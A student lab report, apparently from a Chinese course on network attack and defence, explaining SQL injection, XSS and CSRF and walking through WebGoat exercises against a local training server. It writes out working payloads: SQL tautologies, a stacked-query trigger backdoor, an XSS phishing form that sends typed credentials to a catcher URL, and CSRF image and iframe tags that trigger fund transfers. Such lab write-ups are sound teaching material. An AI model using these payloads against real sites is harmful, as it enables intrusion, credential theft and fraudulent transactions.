2018-2019-2 20165333 《網絡對抗技術》 Exp 9 Web安全基礎

1、基礎問題回答

1.SQL注入攻擊原理,如何防護?javascript

  • 原理:SQL注入,就是經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
    sql注入攻擊是利用是指利用設計上的漏洞,在目標服務器上運行Sql語句以及進行其餘方式的攻擊,動態生成Sql語句時沒有對用戶輸入的數據進行驗證是Sql注入攻擊得逞的主要緣由。如:在用戶名、密碼登輸入框中輸入一些',--,#等特殊字符,實現引號閉合、註釋部分SQL語句,利用永真式實現登陸、顯示信息等目的。
  • 防護:
    關閉或刪除沒必要要的交互式提交表單頁面;
    對漏洞注入點相關代碼進行關鍵字的過濾(如:利用正則表達式),以規範代碼安全性;
    不要在服務器端放置備份的文件以避免受到感染,或備份的文件含有漏洞,形成切入點;
    將數據庫裏的內容進行加密處理使其不具備特殊的意義。
    2.XSS攻擊的原理,如何防護?
  • 原理:XSS:跨站腳本。攻擊者利用網站漏洞(一般這些漏洞是指網站後臺處理程序沒有很好的對用戶輸入進行過濾),輸入能夠顯示在頁面上的、對其餘用戶形成影響的HTML代碼;因爲受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被注入惡意腳本(如:html標籤或者javascript代碼)的頁面後,這段惡意腳本能夠順利執行,實現獲取用戶cookie並能夠利用用戶身份進行非法操做的目的。
  • 防護:
    用戶角度:提升防範意識,不要輕易輸入我的信息,如用戶名密碼;
    網頁製做者角度:
    對輸入和URL參數進行過濾
    在輸出數據以前對潛在的威脅的字符進行編碼、轉義
    3.CSRF攻擊原理,如何防護?
  • 原理:
    CSRF :跨站請求僞造。
    CSRF就是冒名登陸。跨站請求僞造的核心本質是竊取用戶的Session,或者說Cookie,由於目前主流狀況Session都是存在Cookie中.攻擊者並不關心被害者具體賬號和密碼,由於一旦用戶進行了登陸,Session就是用戶的惟一憑證,只要攻擊者可以獲得Session,就能夠假裝成被害者進入服務器.
    主要是當訪問網站A時輸入用戶名和密碼,在經過驗證後,網站A產生Cookie信息並返回,此時登陸網站A成功,可正常發送請求到網站A。在未退出網站A前,若訪問另外一個網站B,網站B可返回一些攻擊性代碼並請求訪問網站A;所以在網站B的請求下,向網站A發出請求。但網站A不知道該請求惡意的,所以仍是會執行該惡意代碼
  • 防護:
    驗證請求中的Token
    驗證 Referer
    添加加隨機驗證
    設定cookie域

實踐過程

(一)Webgoat安裝
1.下載webgoat-container-7.0.1-war-exec.jar文件
二、在含有該文件的目錄下使用命令java -jar webgoat-container-7.0.1-war-exec.jar運行Webgoat,出現信息: Starting ProtocolHandler ["http-bio-8080"]說明開啓成功,實驗過程當中不能關閉終端
三、在瀏覽器中輸入http://localhost:8080/WebGoat進入WebGoat登陸界面
四、使用默認用戶名密碼guest登陸便可
html

SQL攻擊java

  • 1.Numeric SQL Injection
    右鍵點擊頁面,選擇inspect Element審查網頁元素對源代碼進行修改,在選中的城市編號Value值中添加or 1=1:

攻擊成功,顯示全部城市的天氣狀況:
web

  • 2.Log Spoofing
    利用入回車(0D%)和換行符(%0A),在 username 中填入zch%0d%0aLogin Succeeded for username: admin,攻擊成功:
    正則表達式

  • 3.String SQL Injection
    根據題目要求輸入:Smith。能夠看到查詢的相關信息,語句爲SELECT * FROM user_data WHERE last_name = 'Smith'sql

注入永真式'or 1='1攻擊成功:
數據庫

  • 4.LAB: SQL Injection
    Stage 1: String SQL Injection:
    輸入or 1=1 --進行SQL注入,失敗;查看源碼發現是對輸入長度進行了限制,修改源碼再次注入,成功。

  • 5.Database Backdoors
    首先驗證一下語句,在`user ID輸入101; update employee set salary=5000,能夠看到更新的數據

進行注入101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHEREuserid = NEW.userid建立後門:
瀏覽器

XSS攻擊安全

  • 1.Phishing with XSS
    在搜索框中直接輸入要進行xss的攻擊代碼。參考編寫,添加一個form可讓用戶輸入用戶名和密碼,再使這些信息可以發送給網站並顯示:
</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

點擊search,出現表單,輸入信息,攻擊成功:
服務器

  • 2.Stored XSS Attacks
    建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容;命名title,在message裏輸入一串js代碼:<script>alert("boy next door");</script>,點擊剛剛建立的帖子,彈出窗口

  • 3.Reflected XSS Attacks
    輸入錯誤用戶信息後,服務器校驗輸入有誤,返回錯誤頁面並將錯誤內容展現。若是輸入一個攻擊URL就會返回該信息。輸入,提交:

CRSF攻擊

  • 1.Cross Site Request Forgery(CSRF)
    寫一個URL放進Message框,使其餘用戶不可見,設置成一個隱藏圖片,用戶一旦點擊就會觸發一個CSRF事件;在Message裏輸入<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=5000" width="1" height="1" />;點擊該消息,頁面就會下載這個消息並顯示,就會執行轉走用戶的存款。

  • 2.CSRF Prompt By-Pass
    message框中輸入:
<iframe src="attack?Screen=[scr]menu=[menu]&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=[scr]&menu=[menu]&transferFunds=CONFIRM"> </iframe>

查看消息,看到轉帳消息:

相關文章
相關標籤/搜索